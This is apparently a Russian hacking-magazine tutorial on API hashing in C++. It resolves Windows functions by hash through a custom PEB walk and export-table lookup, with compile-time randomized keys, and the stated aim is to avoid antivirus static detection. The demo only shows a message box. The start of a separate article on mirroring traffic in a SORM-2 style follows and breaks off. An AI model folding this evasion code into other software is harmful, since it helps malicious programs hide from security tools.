// ASCII
   UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)

{
      SIZE_T Index = 0;
      UINT32 Hash = 0;
      SIZE_T Length = lstrlenA(String);

      while (Index != Length)
   {

         Hash += String[Index++];
           Hash += Hash << INITIAL_SEED;
           Hash ^= Hash >> 6;

   }
       Hash += Hash << 3;
       Hash ^= Hash >> 11;
       Hash += Hash << 15;
    return Hash;
}

// Unicode
   UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)

{
      SIZE_T Index = 0;
      UINT32 Hash = 0;
      SIZE_T Length = lstrlenW(String);

      while (Index != Length)
   {

         Hash += String[Index++];
           Hash += Hash << INITIAL_SEED;
           Hash ^= Hash >> 6;

   }

       Hash += Hash << 3;
       Hash ^= Hash >> 11;
       Hash += Hash << 15;

    return Hash;
}

  int main() {
      LPWSTR str = (LPWSTR)L"HelloWorld";
     std::cout << HashStringJenkinsOneAtATime32BitW(str);
    return 0;
}

Не уто мил ся? Давай пос мотрим еще один при мер. В каком-то про екте, чуть
ли не в Hell’s Gate, я встре чал алго ритм LoseLose. Он вычис ляет хеш-зна- 
чение вход ной стро ки, переби рая каж дый сим вол в ней и сум мируя зна чения
ASCII каж дого сим вола.

  hash = 0;
   hash += c; // Для каждого символа в строке

Хеш-зна чение, получен ное в резуль тате алго рит ма LoseLose, пред став ляет
собой целое чис ло, уни каль ное для вход ной стро ки. Но все рав но есть веро- 
ятность кол лизии. Что бы решить эту проб лему, фор мула алго рит ма была
обновле на, как показа но ниже.

  hash = 0;
  hash += c;
    hash *= c + 2;

Вот при мер фун кции, которая генери рует подоб ный хеш.

#include <Windows.h>
#include <iostream>
#define INITIAL_SEED 2

// ASCII
   DWORD HashStringLoseLoseA(_In_ PCHAR String)

{
      ULONG Hash = 0;
    INT c;
       while (c = *String++) {

         Hash += c;
           Hash *= c + INITIAL_SEED;

   }
    return Hash;
}

// Unicode
   DWORD HashStringLoseLoseW(_In_ PWCHAR String)

{
      ULONG Hash = 0;
    INT c;
       while (c = *String++) {

         Hash += c;
           Hash *= c + INITIAL_SEED;

   }
    return Hash;
}

  int main() {
      LPWSTR str = (LPWSTR)L"HelloWorld";
     std::cout << HashStringLoseLoseW(str);
    return 0;
}

И, думаю, пос ледний вари ант — .Rotr32()

#include <Windows.h>
#include <iostream>
#define INITIAL_SEED    5

    UINT32 HashStringRotr32SubA(UINT32 Value, UINT Count)
{
          DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
     Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
            return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}

   INT HashStringRotr32A(_In_ LPCSTR String)
{
      INT Value = 0;
           for (INT Index = 0; Index < strlen(String); Index++)

            Value = String[Index] + HashStringRotr32SubA(Value, 7);
    return Value;
}

    UINT32 HashStringRotr32SubW(UINT32 Value, UINT Count)
{
          DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
     Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
            return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}

   INT HashStringRotr32W(_In_ LPCWSTR String)
{
      INT Value = 0;
           for (INT Index = 0; Index < wcslen(String); Index++)

            Value = String[Index] + HashStringRotr32SubW(Value, 7);
    return Value;
}

  int main() {
      LPWSTR str = (LPWSTR)L"HelloWorld";
     std::cout << HashStringRotr32W(str);

    return 0;
}

Для API Hashing ты прос то ини циали зиру ешь стро ку с име нем фун кции,
а затем загоня ешь в любой из опи сан ных выше алго рит мов. Пос ле получе ния
хеша ты дол жен добавить его в свою прог рамму и, исполь зуя кас томный

, искать адрес нуж ной фун кции.GetProcAddress()
Пе рехо дим к демонс тра ции.

Продолжение статьи →
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ÏÐÈÌÅÐ

Не будем умни чать со слож ными апи хами, возь мем тот же 

из . В качес тве алго рит ма я буду исполь зовать
JenkinsOneAtATime32Bit. Сна чала генери руем хеши.

MessageBoxA()
USER32.DLL

#include <Windows.h>
#include <iostream>

#define INITIAL_SEED    7
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))

   UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
      SIZE_T Index = 0;
      UINT32 Hash = 0;
      SIZE_T Length = lstrlenA(String);

      while (Index != Length)
   {

         Hash += String[Index++];
           Hash += Hash << INITIAL_SEED;
           Hash ^= Hash >> 6;

   }

       Hash += Hash << 3;
       Hash ^= Hash >> 11;
       Hash += Hash << 15;

    return Hash;
}

   UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
      SIZE_T Index = 0;
      UINT32 Hash = 0;
      SIZE_T Length = lstrlenW(String);

      while (Index != Length)
   {

         Hash += String[Index++];
           Hash += Hash << INITIAL_SEED;
           Hash ^= Hash >> 6;

   }

       Hash += Hash << 3;
       Hash ^= Hash >> 11;
       Hash += Hash << 15;

    return Hash;
}

  int main() {
     printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL", HASHA(
"USER32.DLL"));
     printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "MessageBoxA", HASHA(
"MessageBoxA"));

    return 0;
}

Об рати вни мание на то, как я добавил мак росы . Мак рос — такая
стро ка, которая будет замеще на дру гой стро кой во вре мя выпол нения. Объ- 
явле ние у мак роса начина ется с клю чево го сло ва .

HASHA()

#define

#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))

Этот мак рос называ ется , он при нима ет один параметр с име нем .

При ком пиляции на мес те мак роса появ ляет ся такая стро ка:

HASHA API

 HashStringJenkinsOneAtATime32BitA((PCHAR) API)

Нап ример, в нашем коде внут ри фун кции  исполь зует ся мак рос
, поэто му при ком пиляции на этом мес те воз никнет вызов нуж ной фун- 

кции.

printf()
HASHA

// До компиляции
  printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL", HASHA(

"USER32.DLL"));

// После компиляции
  printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL",

HashStringJenkinsOneAtATime32BitA((PCHAR)"USER32.DLL"));

Мак росы сыг рают очень важ ную роль, как толь ко мы дой дем до прод винуто го
API Hashing, в котором хеши будут генери ровать ся на лету во вре мя ком- 
пиляции. Тем вре менем пока прос то записы ваем в блок нот вывод прог- 
раммы.

Сге нери рован ные хеши

Те перь перехо дим к изме нению фун кций 
и , что бы они при нима ли хеш от фун кции. Нач нем

по поряд ку.

GetProcAddress()
GetModuleHandle()

     FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

          if (hModule == NULL || dwApiNameHash == NULL)
        return NULL;

      PBYTE pBase = (PBYTE)hModule;

      PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
      if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return NULL;

        PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase +
pImgDosHdr->e_lfanew);
      if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return NULL;

      IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

      
  

PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)
(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

        PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->
AddressOfNames);
        PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->
AddressOfFunctions);
        PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->
AddressOfNameOrdinals);

            for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
            CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
              PVOID pFunctionAddress = (PVOID)(pBase +

FunctionAddressArray[FunctionOrdinalArray[i]]);

           if (dwApiNameHash == HASHA(pFunctionName)) {
            return (FARPROC)pFunctionAddress;

       }
   }
    return NULL;
}

Зна читель ных изме нений не тре бует ся, все самое важ ное — в пред послед- 
них стро ках.

    if (dwApiNameHash == HASHA(pFunctionName)) {
            return (FARPROC)pFunctionAddress;

Здесь срав нива ется передан ный в фун кцию хеш с хешем от име ни экспор- 
тиру емой фун кции в DLL. Нап ример, если мы ранее сге нери рова ли хеш
от  (пусть он получил ся рав ным ), то здесь этот хеш

срав нива ется с хешем от име ни экспор тиру емых из биб лиотек фун кций.
Пусть биб лиоте ка экспор тиру ет еще фун кции 
и . Хеши от этих фун кций будут отли чать ся от хеша от фун- 

кции  (у  это , а у  —

), поэто му код не будет воз вра щать их адрес, но, как толь ко дело дой- 
дет до хеша от фун кции , он сов падет с ранее сге нери рован- 

ным зна чени ем и нам вер нется адрес фун кции, которую мы ищем.

MessageBoxA() 0xABC

MessageBoxW()
CreateProcess()

MessageBoxA() MessageBoxW() 0xAAA CreateProcess()
0xBBB

MessageBoxA()

Те перь изме няем .GetModuleHandle()

   HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

      if (dwModuleNameHash == NULL)
        return NULL;

#ifdef _WIN64
      PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
      PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif

      PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
        PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->
InMemoryOrderModuleList.Flink);

     while (pDte) {

     
   

       if (pDte->FullDllName.Length != NULL && pDte->FullDllName.
Length < MAX_PATH) {

            CHAR UpperCaseDllName[MAX_PATH];

              DWORD i = 0;
             while (pDte->FullDllName.Buffer[i]) {

                 UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
               i++;
           }

             UpperCaseDllName[i] = '\0';

              if (HASHA(UpperCaseDllName) == dwModuleNameHash)
                return (HMODULE)pDte->Reserved2[0];

       }
        else {

           break;
       }

         pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
   }
    return NULL;
}

На конец мож но счи тать, что все готово. Нам дос таточ но сге нери ровать хеш
от име ни DLL, а так же от име ни фун кции, которую хотим выз вать, пос ле чего
сох ранить зна чения в исходном коде, ском пилиро вать и нас ладить ся резуль- 
татом.

#include <Windows.h>
#include <iostream>
#include <winternl.h>

#define INITIAL_SEED    7
#define USER32DLL_HASH 0x81E3778E
#define MessageBoxA_HASH 0xF10E27CA
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))

  typedef UINT(CALLBACK* fnMessageBoxA)(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
   );

   UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
      SIZE_T Index = 0;
      UINT32 Hash = 0;
      SIZE_T Length = lstrlenA(String);

      while (Index != Length)
   {

         Hash += String[Index++];
           Hash += Hash << INITIAL_SEED;
           Hash ^= Hash >> 6;

   }

       Hash += Hash << 3;
       Hash ^= Hash >> 11;
       Hash += Hash << 15;

    return Hash;
}

   UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
      SIZE_T Index = 0;
      UINT32 Hash = 0;
      SIZE_T Length = lstrlenW(String);

      while (Index != Length)
   {

         Hash += String[Index++];
           Hash += Hash << INITIAL_SEED;
           Hash ^= Hash >> 6;

   }
       Hash += Hash << 3;
       Hash ^= Hash >> 11;
       Hash += Hash << 15;

    return Hash;
}

     FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

          if (hModule == NULL || dwApiNameHash == NULL)
        return NULL;

      PBYTE pBase = (PBYTE)hModule;

      PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
      if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return NULL;

        PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase +
pImgDosHdr->e_lfanew);
      if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return NULL;

      IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

      
  

PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)
(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

        PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->
AddressOfNames);
        PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->
AddressOfFunctions);
        PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->
AddressOfNameOrdinals);

            for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
            CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
              PVOID pFunctionAddress = (PVOID)(pBase +

FunctionAddressArray[FunctionOrdinalArray[i]]);

           if (dwApiNameHash == HASHA(pFunctionName)) {
            return (FARPROC)pFunctionAddress;

       }
   }
    return NULL;
}

   HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

      if (dwModuleNameHash == NULL)
        return NULL;

#ifdef _WIN64
      PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
      PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif

      PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
        PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->
InMemoryOrderModuleList.Flink);

     while (pDte) {

     
   

       if (pDte->FullDllName.Length != NULL && pDte->FullDllName.
Length < MAX_PATH) {

            CHAR UpperCaseDllName[MAX_PATH];

              DWORD i = 0;
             while (pDte->FullDllName.Buffer[i]) {

                 UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
               i++;
           }

             UpperCaseDllName[i] = '\0';

              if (HASHA(UpperCaseDllName) == dwModuleNameHash)
                return (HMODULE)pDte->Reserved2[0];

       }
        else {

           break;
       }

         pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
   }
    return NULL;
}

  int main() {
       if (LoadLibraryA("USER32.DLL") == NULL) {

        printf("[!] LoadLibraryA Failed With Error : %d \n",
GetLastError());

        return 0;
   }

      HMODULE hUser32Module = GetModuleHandleH(USER32DLL_HASH);
       if (hUser32Module == NULL) {
       printf("[!] Cound'nt Get Handle To User32.dll \n");

        return -1;
   }

      
 

fnMessageBoxA pMessageBoxA = (fnMessageBoxA)GetProcAddressH(
hUser32Module, MessageBoxA_HASH);
       if (pMessageBoxA == NULL) {
       printf("[!] Cound'nt Find Address Of Specified Function \n");

        return -1;
   }
        pMessageBoxA(NULL, "HI", "HI", MB_OK | MB_ICONEXCLAMATION);
    return 0;
}

Здесь я исполь зовал фун кцию , что бы целевая биб лиоте ка

точ но находи лась в адресном прос транс тве нашего про цес са.

LoadLibrary()

Ре зуль тат работы

Вот и всё! Ты научил ся вызывать фун кции по их хешу. Прав да, сог ласись,
не очень удоб но каж дый раз генери ровать хеш, затем переком пилиро вать
про ект. Плюс анти виру сы могут повесить свой ста тичес кий детект на стро ку
с хешем. Поэто му пора перехо дить к API Hashing во вре мя ком пиляции.

Продолжение статьи →
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COMPILE-TIME API HASHING

Хе ши мож но генери ровать на лету во вре мя ком пиляции прог раммы. Для это- 
го исполь зуют ся спе циаль ные мак росы с фун кци ями constexpr, которые воз- 
вра щают резуль тат во вре мя ком пиляции. Для раз нооб разия пред лагаю
исполь зовать алго ритм шиф рования Djb2. Берем две фун кции по шиф- 
рованию ASCII и Unicode, добав ляем к ним клю чевое сло во .constexpr

#define SEED 5

// Unicode
     constexpr DWORD HashStringDjb2W(const wchar_t* String) {

      ULONG Hash = (ULONG)g_KEY;
      INT c = 0;
       while ((c = *String++)) {

               Hash = ((Hash << SEED) + Hash) + c;
   }

    return Hash;
}

// ASCII
     constexpr DWORD HashStringDjb2A(const char* String) {

      ULONG Hash = (ULONG)g_KEY;
      INT c = 0;
       while ((c = *String++)) {

               Hash = ((Hash << SEED) + Hash) + c;
   }
    return Hash;
}

Об рати вни мание, что здесь мы исполь зуем некото рую перемен ную .
Она будет нашим динами чес ким клю чом. Перемен ная, само собой, обя зана
быть гло баль ной. Пусть ключ зависит от мак роса .

g_KEY

__TIME__

  constexpr int RandomCompileTimeSeed(void)
{
       return '0' * -40271 +

          __TIME__[7] * 1 +
          __TIME__[6] * 10 +
          __TIME__[4] * 60 +
          __TIME__[3] * 600 +
          __TIME__[1] * 3600 +
         __TIME__[0] * 36000;

};
      constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

Бла года ря динамич ности клю ча мы можем ран домизи ровать генери руемый
хеш.

Те перь перехо дим к мак росам, на которых работа ет вся магия. Пер вая
пара мак росов нуж на для генера ции хешей на осно ве передан ной в них стро- 
ки.

#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)
#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)

Как видишь, эти мак росы не осо бо отли чают ся от мак росов, исполь зуемых
в при мере для прос того API Hashing. Вто рая же пара мак росов сге нери рует
для нас перемен ные (да, пол ноцен ные перемен ные), внут ри которых будут
лежать динами чес ки сге нери рован ные хеши от име ни DLL и име ни фун кции
соот ветс твен но.

#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = 
HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = 
HashStringDjb2W((const wchar_t*) L#API);

Раз берем мак рос под робнее:
 — наз вание мак роса;• CTIME_HASHW

 — перемен ная, которая попада ет в мак рос (стро ка);• API

 — начало объ явле ния перемен ной, которая будет
содер жать хеш;

• constexpr auto

 — имя перемен ной.  слу жит для «скле ива ния». Я
покажу ниже, как это выг лядит в коде;

• API##_Rotr32W ##

 — целевая фун кция,
воз вра щающая хеш-зна чение от стро ки.

• = HashStringDjb2W((const wchar_t*) L#API)

Су ем фун кции в Visual Studio и смот рим на резуль тат.

#include <Windows.h>
#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = 
HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = 
HashStringDjb2W((const wchar_t*) L#API);

  constexpr int RandomCompileTimeSeed(void)
{
       return '0' * -40271 +

          __TIME__[7] * 1 +
          __TIME__[6] * 10 +
          __TIME__[4] * 60 +
          __TIME__[3] * 600 +
          __TIME__[1] * 3600 +
         __TIME__[0] * 36000;

};

      constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

#define SEED 5
// Unicode

     constexpr DWORD HashStringDjb2W(const wchar_t* String) {
      ULONG Hash = (ULONG)g_KEY;
      INT c = 0;
       while ((c = *String++)) {

               Hash = ((Hash << SEED) + Hash) + c;
   }

    return Hash;
}

// ASCII
     constexpr DWORD HashStringDjb2A(const char* String) {

      ULONG Hash = (ULONG)g_KEY;
      INT c = 0;
       while ((c = *String++)) {

               Hash = ((Hash << SEED) + Hash) + c;
   }

    return Hash;
}

  int main() {
    CTIME_HASHA(MessageBoxA); // Фактически на этом месте появляется 
constexpr auto MessageBoxA_Rotr32A = HashStringDjb2A(MessageBoxA);
    return 0;
}

Ес ли ты наведешь мыш кой кур сор на , то уви дишь, во что рас- 

ширит ся этот мак рос во вре мя ком пиляции.

CTIME_HASHA

Как выг лядят мак росы

Фак тичес ки идет неяв ная ини циали зация в коде перемен ной
, а зна чение ее берет ся из вызова фун кции по хеширо- 

ванию.

MessageBoxA_Rotr32A

К сожале нию, с DLL чуть слож нее. Если мы в мак рос  переда- 
дим , то дол жна будет появить ся сле дующая стро ка.

CTIME_HASHA
User32.dll

    constexpr auto User32.dll_Rotr32A = HashStringDjb2A("User32.dll");

То есть идет обра щение к эле мен ту  клас са  (по край ней

мере, так дума ет ком пилятор). Никако го клас са и уж тем более эле мен тов
в нем нет. Поэто му пред лагаю для DLL завес ти отдель ный мак рос, а в мак рос
этот скар мли вать имя DLL без .

dll_Rotr32A User32

.dll

#define CTIME_DLLHASHA(API) constexpr auto API##_FuncA = 
HashStringDjb2A((const char*) #API);
...

 CTIME_DLLHASHA(USER32); // Фактически на этом месте появляется 
constexpr auto User32_FuncA = HashStringDjb2A(User32);

А поз же в фун кции обна руже ния DLL по хешу генери руем хеш так же, без пос- 
ледних четырех сим волов (то есть без ). На их мес то добав ляем знак
завер шения стро ки.

.dll

    UpperCaseDllName[i - 4] = '\0';
   if (RTIME_HASHA(UpperCaseDllName) == dwModuleNameHash)
    return (HMODULE)pDte->Reserved2[0];

На конец у нас все готово, что бы про вер нуть API Hashing в режиме Compile-
Time!

ÏÐÈÌÅÐ

Со бира ем всё в один про ект, закиды ваем в «Сту дию» и запус каем.

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <string>

#define SEED 5
  typedef UINT(CALLBACK* fnMessageBoxA)(

    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
   );

  constexpr int RandomCompileTimeSeed(void)
{
       return '0' * -40271 +

          __TIME__[7] * 1 +
          __TIME__[6] * 10 +
          __TIME__[4] * 60 +
          __TIME__[3] * 600 +
          __TIME__[1] * 3600 +
         __TIME__[0] * 36000;

};

      constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

     constexpr DWORD HashStringDjb2W(const wchar_t* String) {
      ULONG Hash = (ULONG)g_KEY;
      INT c = 0;
       while ((c = *String++)) {

               Hash = ((Hash << SEED) + Hash) + c;
   }
    return Hash;
}

     constexpr DWORD HashStringDjb2A(const char* String) {
      ULONG Hash = (ULONG)g_KEY;
      INT c = 0;
       while ((c = *String++)) {

               Hash = ((Hash << SEED) + Hash) + c;
   }

    return Hash;
}

#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)
#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)

#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = 
HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = 
HashStringDjb2W((const wchar_t*) L#API);
#define CTIME_DLLHASHA(API) constexpr auto API##_FuncA = 
HashStringDjb2A((const char*) #API);

   HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

      if (dwModuleNameHash == NULL)
        return NULL;

#ifdef _WIN64
      PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
      PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif

      PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
        PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->
InMemoryOrderModuleList.Flink);

     while (pDte) {

     
   

       if (pDte->FullDllName.Length != NULL && pDte->FullDllName.
Length < MAX_PATH) {

            CHAR UpperCaseDllName[MAX_PATH];

              DWORD i = 0;
             while (pDte->FullDllName.Buffer[i]) {

                 UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
               i++;
           }

               UpperCaseDllName[i - 4] = '\0';

              if (RTIME_HASHA(UpperCaseDllName) == dwModuleNameHash)
                return (HMODULE)pDte->Reserved2[0];

       }
        else {

           break;
       }

         pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
   }
    return NULL;
}

     FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

      PBYTE pBase = (PBYTE)hModule;

      PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
      if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return NULL;

        PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase +
pImgDosHdr->e_lfanew);
      if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return NULL;

      IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

      
  

PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)
(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);

        PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->
AddressOfNames);
        PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->
AddressOfFunctions);
        PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->
AddressOfNameOrdinals);

            for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
            CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
              PVOID pFunctionAddress = (PVOID)(pBase +

FunctionAddressArray[FunctionOrdinalArray[i]]);

           if (dwApiNameHash == RTIME_HASHA(pFunctionName)) {
            return (FARPROC)pFunctionAddress;

       }
   }
    return NULL;
}

  int main() {
    CTIME_DLLHASHA(USER32); // Фактически на этом месте появляется 
constexpr auto USER32_FuncA = HashStringDjb2A(USER32);
    CTIME_HASHA(MessageBoxA); // Фактически на этом месте появляется 
constexpr auto MessageBoxA_Rotr32A = HashStringDjb2A(MessageBoxA);

       if (LoadLibraryA("USER32.DLL") == NULL) {
        printf("[!] LoadLibraryA Failed With Error : %d \n",

GetLastError());
        return 0;

   }

      HMODULE hUser32Module = GetModuleHandleH(USER32_FuncA);
       if (hUser32Module == NULL) {
       printf("[!] Cound'nt Get Handle To User32.dll \n");

        return -1;
   }

      
 

fnMessageBoxA pMessageBoxA = (fnMessageBoxA)GetProcAddressH(
hUser32Module, MessageBoxA_Rotr32A);
       if (pMessageBoxA == NULL) {
       printf("[!] Cound'nt Find Address Of Specified Function \n");

        return -1;
   }
        pMessageBoxA(NULL, "HI", "HI", MB_OK | MB_ICONEXCLAMATION);

    return 0;
}

Ра бота ющий вари ант

Вы зов фун кции отлично отра баты вает. Хеши генери руют ся на лету, и нам
не тре бует ся ничего хар дко дить! Тем не менее руками каж дый раз заводить
все эти фун кции может быть не очень удоб но, поэто му рекомен дую изу чить

, где есть под дер жка мно гих методов хеширо вания.ре пози торий на GitHub

ÂÛÂÎÄÛ

API Hashing мож но счи тать одной из самых инте рес ных и зах ватыва ющих тех- 
ник, ведь подоб ное жон гли рова ние мак росами тре бует опре делен ных
навыков и понима ния работы ком пилято ра и самого C++ в целом. Тем
не менее я пос тарал ся прос тым и челове чес ким язы ком донес ти до тебя
основную суть и идею. Если вдруг оста лись воп росы, то сме ло пиши, раз- 
берем ся!

https://github.com/abbbaf/Compile-time-hash-functions
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АДМИН

На вер няка ты уже нас лышан о такой шту ке,
как СОРМ. Ее ста вят у рос сий ских про вай- 
деров, что бы спец служ бы мог ли в слу чае
надоб ности заг лядывать в про ходя щий тра- 
фик. В этой статье я покажу, как самос- 
тоятель но раз вернуть ана лог
СОРМ-2 на Linux и обо рудо вании MikroTik.
Не для дела, а прос то ради инте реса.
В про цес се ты научишь ся при емам нас- 
трой ки сети, которые могут при годить ся
в работе.

Итак, СОРМ — это сис тема тех ничес ких средств для обес печения фун кций
опе ратив но-разыс кных мероп риятий. СОРМ быва ет трех видов:

СОРМ-1. Пред назна чена для прос лушки телефон ных раз говоров подоз- 
рева емых в том или ином прес тупле нии. Регули рует ся при казом Мин ком- 
свя зи Рос сии от 19.11.2012 .

•

№ 268
СОРМ-2. Исполь зует ся для кон тро ля содер жимого в рам ках
интернет-соеди нений, есть спе циаль ные устрой ства-зер кала и ресиве ры,
куда пос тупа ет тра фик, сня тый как копия с кли ент ских сетей. Регули рует ся
при казом Мин ком свя зи Рос сии от 16.04.2014 .

•

№ 83
СОРМ-3. Хра нит в виде струк туры баз дан ных информа цию об або нен тах
телефо нии, сети переда чи дан ных, исто рию пла тежей и мно гое дру гое.
Регули рует ся при казом Мин ком свя зи Рос сии от 29.10.2018 .

•

№ 573

В этой работе я делаю акцент на СОРМ-2, так как имен но ее при меня ют
для кон тро ля содер жимого интернет-соеди нений. Я рас ска жу о зер калиро- 
вании тра фика и о том, как стро ится вир туаль ный канал свя зи, а затем с прак- 
тичес кой точ ки зре ния про демонс три рую про цесс работы СОРМ-2 с сох- 
ранени ем копии тра фика из легитим ной поль зователь ской сети.

На руках у меня нет никаких образцов СОРМ, и наше тво рение ни в коей
мере не пре тен дует на замену офи циаль ному обо рудо ванию. Наша работа
будет чис то экспе римен таль ной, а цель — все го лишь поуп ражнять ся в нас- 
трой ке обо рудо вания на занима тель ном при мере.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по информа цион ной
безопас ности и сис темных адми нис тра торов.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÀÐÕÈÒÅÊÒÓÐÀ

Вот общая схе ма того, что нам пред сто ит сде лать.

 — при емник зер калиро ван ного тра фика,

который отправ ляет ся из кли ент ской сети.

• ÏÓ (ïóëüò óïðàâëå íèÿ)

 — устрой ство, которое обес печива ет зер калиро вание тра фика.
Им может быть девайс, нап рямую под клю чен ный к пог ранич ному мар шру- 
тиза тору, либо сам пог ранич ный мар шру тиза тор, если он под держи вает
SPAN-зер калиро вание.

• Ñú åìíèê

 — вир туаль ный канал свя зи, внут ри которо го будет переда- 

вать ся зер кало. О безопас ности зер калиру емо го тра фика нуж но позабо- 
тить ся осо бо. Пло хая прак тика, ког да зер кало идет до ПУ и при этом дан- 
ные або нен тов не защище ны.

• Êà íàë ñâÿ çè

